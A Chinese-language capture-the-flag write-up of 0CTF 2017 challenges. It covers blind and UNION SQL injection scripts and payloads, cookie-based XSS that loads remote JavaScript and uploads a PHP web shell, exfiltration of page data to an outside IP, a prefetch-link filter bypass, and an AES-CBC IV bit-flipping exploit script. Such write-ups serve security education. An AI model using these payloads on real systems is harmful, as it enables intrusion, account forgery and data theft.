0CTF2017 WEB WriteUp
新博客地址:http://bendawang.site/article/0CTF2017-WEB-WriteUp(ps:短期內csdn和新博客會同步更新)
Temmo’s Tiny Shop
這道題運氣比較好,一進去就有很多錢,然後直接買到hint了,後來像是修復了,hint內容也做了修改,不過還是有問題,我重新申請了一個號,發現越買錢越多,然後就直接買到hint了,在後來寫wp的時候去申請發現無論怎麼酒只有4000,最後做完題看到flag,知道這是個條件競爭的題。
不說了,先直接說最後的注入把,因爲前面的步驟由於出題方的失誤我們直接就能跳過了。
最後hint就是
select flag from ce63e444b0d049e9c899c9a0336b3c59
顯然就是尋找注入點,後來在這裏找到了注入點,搜索那兒的order by
,然後隨便買兩個東西,比如這兩個
然後在我們輸入下面payload時
?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1)like(0x00),price,name)
結果爲:
而輸入下面的時候
?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1)like(0x46),price,name)
結果變成了
所以通過if然後根據其按照什麼進行排序就能夠成功判斷每一位的flag
最後腳本如下:
import requests
r=requests.session()
url="http://202.120.7.197/app.php"
header={"Cookie":"PHPSESSID=5h8kk889lad5a6akggcm14bgr7"}
ans=""
for i in xrange(1,100):
for j in xrange(256):
if j==37:
continue
param="?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),{length},1)like({num}),price,name)".format(length=str(i),num=hex(j))
print param
content=r.get(url+param,headers=header).content
#print content
print j
if content.find('"id":"5"')>content.find('"id":"2"'):
print j
ans+=chr(j)
print ans.lower()
break
替換下大括號就行了。
King of Glory Player List
一道調試js的題,看了源碼主要部分如下:
function go()
{
args = GetUrlParms();
if(args["id"]!=undefined)
{
var value = args["id"];
var ar = Module.main(value).split("|");
if(ar.length==3)
{
var s = "http://202.120.7.213:11181/api.php?id=" + args["id"] + "&hash=" + ar[0] + "&time=" + ar[1];
window.location.href=s;
$(document).ready(function(){
content=$.ajax({url:s, async:false});
$("#output").html(content.responseText);
});
}
if((ar.length==1)&(ar[0]=='WrongBoy'))
{
alert('Hello Hacker~');
}
}
}
源碼會根據我們輸入調用Module.main()
函數,如果我們輸入有敏感字符,就會返回wrongboy
,否則返回正常的格式,包括hash
。
也就是我們的核心目的就是要在我們非正常輸入的情況下讓它返回正常的格式然後進行相關操作。
所以我們只需要開兩個窗口,一個正常輸入,一個非正常輸入,然後藉助瀏覽器的調試器進行調試js就可以了,開始用的火狐的,卡爆了,後來換成chrome就流暢了。之前HCTF2016
也有類似的題。
單步跟進之後到這裏遇到第一個,function.js
的7633行的$13
變量,正常輸入是true,敏感輸入是false,
那直接修改源碼賦爲真值就可以了
第二處在這個判斷這裏
這個label的值,正確的時候是0,錯的時候是12,即錯誤了就會進入這個if語句,那麼我們直接把它改成if(0)
就好了。
之後就沒有了,就能正常的注入了,不過由於同源策略的原因,異步請求交不過去,所以把源碼改成如下
<!DOCTYPE html>
<html>
<head>
<title>King of Glory Player List</title>
</head>
<body>
<script
src="https://code.jquery.com/jquery-3.1.1.min.js"
integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8="
crossorigin="anonymous"></script>
<script src="function1.js"></script>
<script type="text/javascript">
function GetUrlParms()
{
var args=new Object();
var query=location.search.substring(1);
var pairs=query.split("&");
for(var i=0;i<pairs.length;i++)
{
var pos=pairs[i].indexOf('=');
if(pos==-1) continue;
var argname=pairs[i].substring(0,pos);
var value=pairs[i].substring(pos+1);
args[argname]=unescape(value);
}
return args;
}
function go()
{
args = GetUrlParms();
if(args["id"]!=undefined)
{
var value = args["id"];
var ar = Module.main(value).split("|");
if(ar.length==3)
{
var s = "http://202.120.7.213:11181/api.php?id=" + args["id"] + "&hash=" + ar[0] + "&time=" + ar[1];
window.location.href=s;
$(document).ready(function(){
content=$.ajax({url:s, async:false});
$("#output").html(content.responseText);
});
}
if((ar.length==1)&(ar[0]=='WrongBoy'))
{
alert('Hello Hacker~');
}
}
}
var wait = setInterval(function(){if(Module.main != undefined){clearInterval(wait);go();}}, 100);
</script>
<center><h1>King of Glory Player List</h1></center>
<center><div id="output"><h2>hmmmm</h2></div></center>
</body>
</html>
function1.js
就是我們調整過得,接下來就能正常的發送請求了。
發現服務端並沒有再進行過濾了,然後由這個payload
id=1 order by 2
id=1 order by 3
確定是2列了。
然後開始爆破
爆的表名有fl4g,user
fl4g
列名就一個hey
所以
?id=1 and 1=2 union select 1,hey from fl4g
拿到flag。
simplesqlin
一聽名字就大概知道是個sql注入,簡單判斷下是個數字注入
然後試了試,同樣通過orderby判斷出有三列。
然後發現select被過濾了,然後發現插入%00之後就能繞過
id=1 and 1=2 union se%00lect 1,2,3
接下來有可以爆破了,之後的from和where都被過濾了。
同樣可以插入%00進行繞過,得到表名flag,news
flag
表的列名也是flag
所以,payload如下:
id=1 and 1=2 union s%00elect 1,flag,3 fro%00m flag
complicated xss
這道題坑了我好久啊。。。
爆破md5就不說了,遇見的次數已經太多了。直接主題
首先是正常的xss點,說是讓你訪問http://admin.government.vip:8000
就能拿到flag了,然後我們試圖訪問一下這個網頁發現有個默認用戶,登陸進去之後打印了用戶名,即cookie裏面username
值,那我們的想法就是想辦法僞造帶標籤的cookie,然後跳轉過去之後就能執行標籤頁內容。
另外需要注意的是
在這個頁面上述的函數都無法使用。
然後我們開始嘗試
<script>
function setCookie(name,value,seconds) {
seconds = seconds || 0; //seconds有值就直接賦值,沒有爲0,這個根php不一樣。
var expires = "";
if (seconds != 0 ) { //設置cookie生存時間
var date = new Date();
date.setTime(date.getTime()+(seconds*1000));
expires = "; expires="+date.toGMTString();
}
document.cookie = name+"="+value+expires+";path=/;domain=.government.vip"; //轉碼並賦值
}
setCookie('username',String.fromCharCode(60,115,118,103,32,111,110,108,111,97,100,61,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,49,48,52,46,49,54,48,46,52,51,46,49,53,52,58,49,50,51,52,53,47,63,97,61,39,43,101,115,99,97,112,101,40,100,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,72,84,77,76,41,62),1000);
location.href='http://admin.government.vip:8000/';
</script>
通過這個代碼我們成功跳轉了過去並且拿到了返回值。
結果目的網頁的內容是一個上傳表單如下:
<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="upload">
</p></form>
也就是說我們還要在http://admin.government.vip:8000
頁面下執行post請求上傳文件,構造了好久,最後還是覺得jquery好用啊。
最後這裏引入了iframe,然後利用this.contentWindow
對象來繞過eval
的執行。
最後構造如下:
<script>
function setCookie(name, value, seconds) {
seconds = seconds || 0; //seconds有值就直接賦值,沒有爲0,這個根php不一樣。
var expires = "";
if (seconds != 0 ) { //設置cookie生存時間
var date = new Date();
date.setTime(date.getTime()+(seconds*1000));
expires = "; expires="+date.toGMTString();
}
document.cookie = name+"="+value+expires+";path=/;domain=.government.vip"; //轉碼並賦值
}
setCookie('username','<iframe onload=this.contentWindow.eval(String.fromCharCode(118,97,114,32,98,100,119,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,98,100,119,46,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,98,101,110,100,97,119,97,110,103,46,115,105,116,101,58,56,48,48,48,47,109,121,106,115,47,117,112,108,111,97,100,95,97,106,97,120,46,106,115,34,59,100,111,99,117,109,101,110,116,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,98,100,119,41,59))></iframe>',1000)
location.href='http://admin.government.vip:8000/';
</script>
中間那一串的String.fromCharCode
就是
var bdw=document.createElement("script");bdw.src="http://www.bendawang.site:8000/myjs/upload_ajax.js";document.head.appendChild(bdw);
然後在我的vps上我的upload_ajax.js
如下:
var t=document.getElementsByTagName("script")[0];
var sss=document.createElement("script");
sss.src="http://government.vip/static/jquery.min.js";
document.head.insertBefore(sss,t);
var body = "------WebKitFormBoundaryFikh4XTsUA3KuSES\r\n" +
"Content-Disposition: form-data; name=\"233\"\r\n" +
"\r\n" +
"eyJzY3JlZW5faGVpZ2h0Ijo4MjYsInNjcmVlbl93aWR0aCI6MTQ0MH0\r\n" +
"------WebKitFormBoundaryFikh4XTsUA3KuSES\r\n" +
"Content-Disposition: form-data; name=\"source_flag\"\r\n" +
"\r\n" +
"0\r\n" +
"------WebKitFormBoundaryFikh4XTsUA3KuSES\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\n" +
"Content-Type: image/png\r\n" +
"\r\n" +
"GIF89a\x3c?php eval($_REQUEST[A]);?\x3e\x3c/script\x3e\r\n" +
"------WebKitFormBoundaryFikh4XTsUA3KuSES--\r\n";
setTimeout("makeRequest()",1000)
function makeRequest() {
var settings = {
type: "POST",
url:"http://admin.government.vip:8000/upload",
data:body,
success: function(data,textStatus) {
$.get('http://104.160.43.154:12345?a=123+'+data);
},
headers: {
"Access-Control-Allow-Headers":"X-Requested-With",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryFikh4XTsUA3KuSES",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language":"zh-CN,zh;q=0.8"
}
};
$.ajax(settings);
}
中間的延遲是爲了讓我創建的引入jquery
的標籤生效,這樣makeRequest
才能正常執行,最後這裏要吐槽的是我用的火日大佬的xss平臺,每次服務器給我的平臺發請求,我的平臺就崩了,導致最後只能使用nc監聽端口,藍瘦,下面是截圖
simple xss
同樣的套路,用md5和驗證碼防爆破,目的就是繞過過濾執行js拿回flag.php下數據
然後好的就是這個可以測試
經過一番fuzz之後發現一下重要符號被過濾
' " : / > . ( ) & # , % ; ?等等
首先簡單確認之後我們可以引入像是script,img,svg,link
等關鍵標籤。
這麼多過濾勢必沒辦法直接執行語句訪問flag.php,那麼就想到要麼引入我們自己的js,要麼加載我們寫的界面。然後要輸入網址的話,既然說了是最新版本的chrome,就可以用。
繞過.
,然後就是用\\
使得其用當前協議https
訪問鏈接,payload如下:
<link rel=prefetch href=\\61dclub。com\x
還有import,以及prerender應該也可以不過沒有嘗試,凡是預加載和預渲染已經直接調用理論上都可以
crypto-integrity
首先拿到源代碼如下:
#!/usr/bin/python -u
from Crypto.Cipher import AES
from hashlib import md5
from Crypto import Random
from signal import alarm
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
class Scheme:
def __init__(self,key):
self.key = key
def encrypt(self,raw):
raw = pad(raw)
raw = md5(raw).digest() + raw
iv = Random.new().read(BS)
cipher = AES.new(self.key,AES.MODE_CBC,iv)
return ( iv + cipher.encrypt(raw) ).encode("hex")
def decrypt(self,enc):
enc = enc.decode("hex")
iv = enc[:BS] ##前16位
enc = enc[BS:] ##之後
cipher = AES.new(self.key,AES.MODE_CBC,iv)
blob = cipher.decrypt(enc)
checksum = blob[:BS]
data = blob[BS:]
if md5(data).digest() == checksum:
return unpad(data)
else:
return
key = Random.new().read(BS)
scheme = Scheme(key)
flag = open("flag",'r').readline()
alarm(30)
print "Welcome to 0CTF encryption service!"
while True:
print "Please [r]egister or [l]ogin"
cmd = raw_input()
if not cmd:
break
if cmd[0]=='r' :
name = raw_input().strip()
if(len(name) > 32):
print "username too long!"
break
if pad(name) == pad("admin"):
print "You cannot use this name!"
break
else:
print "Here is your secret:"
print scheme.encrypt(name)
elif cmd[0]=='l':
data = raw_input().strip()
name = scheme.decrypt(data)
if name == "admin":
print "Welcome admin!"
print flag
else:
print "Welcome %s!" % name
else:
print "Unknown cmd!"
break
初步想法是padding oracle
,但是後來看到有個alarm(30)
,只有30s的話就不可能是padding oracle
了,因爲就這個通信速度來看30s完全差得遠。
也就是說有別的解法了。
然後想到hash長度擴展攻擊的原理。
這裏有點類似的。
比如我註冊一個賬戶是admin\0b\0b\0b\0b\0b\0b\0b\0b\0b\0b\0bbdw
然後服務端返回如下:
f751a16eae391dd0f4dbfb5c4a740217 md5值
14c63b729049860cb9905a2ae3d71807 admin\x0b\x0b...
3f17049464bbc44f1bdccde9ea233d1f bdw\x0d\x0d.....
17ba7e5a78c1fa77811a0c72a519adea \0x10\0x10......
然後我們想僞造的是
md5值
admin\x0b\x0b...
也就簡單了,我們只需要把第一次註冊的MD5通過修改IV進行字節翻轉成admin\0b\0b\0b\0b\0b\0b\0b\0b\0b\0b\0b
的md5就可以了。
所以代碼如下:
from pwn import *
from hashlib import md5
N=16
def inject1(cipher):
print cipher
con.recvuntil("[l]ogin")
#con.interactive()
con.sendline('l')
con.sendline(cipher)
content=con.recvuntil("!")
print content
if "None" in content:
return 0
else:
return 1
def xor(a, b):
return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])
pad = lambda s:s+(N-len(s)%N)*chr(N-len(s)%N)
def padding_oracle(N,cipher):
get=""
for i in xrange(1,N+1):
for j in xrange(0,256):
padding=xor(get,chr(i)*(i-1))
c=chr(0)*(16-i)+chr(j)+padding+cipher
c=c.encode('hex')
print c
if inject1(c):
get=chr(j^i)+get
time.sleep(0.1)
break
return get
con=remote('202.120.7.217',8221)
con.recvuntil("[l]ogin")
con.sendline('r')
username=pad('admin')+'bdw'
con.sendline(username)
con.recvuntil("secret:")
c=con.recvuntil("P")
print c
iv=c[1:-2].decode('hex')[:16]
cipher=c[1:-2].decode('hex')[16:48]
#middle=padding_oracle(N,cipher)
plaintext=md5(pad(username)).digest()
des=md5(pad("admin")).digest()
tmp=xor(xor(iv,plaintext),des)
inject1((tmp+cipher).encode('hex'))
con.interactive()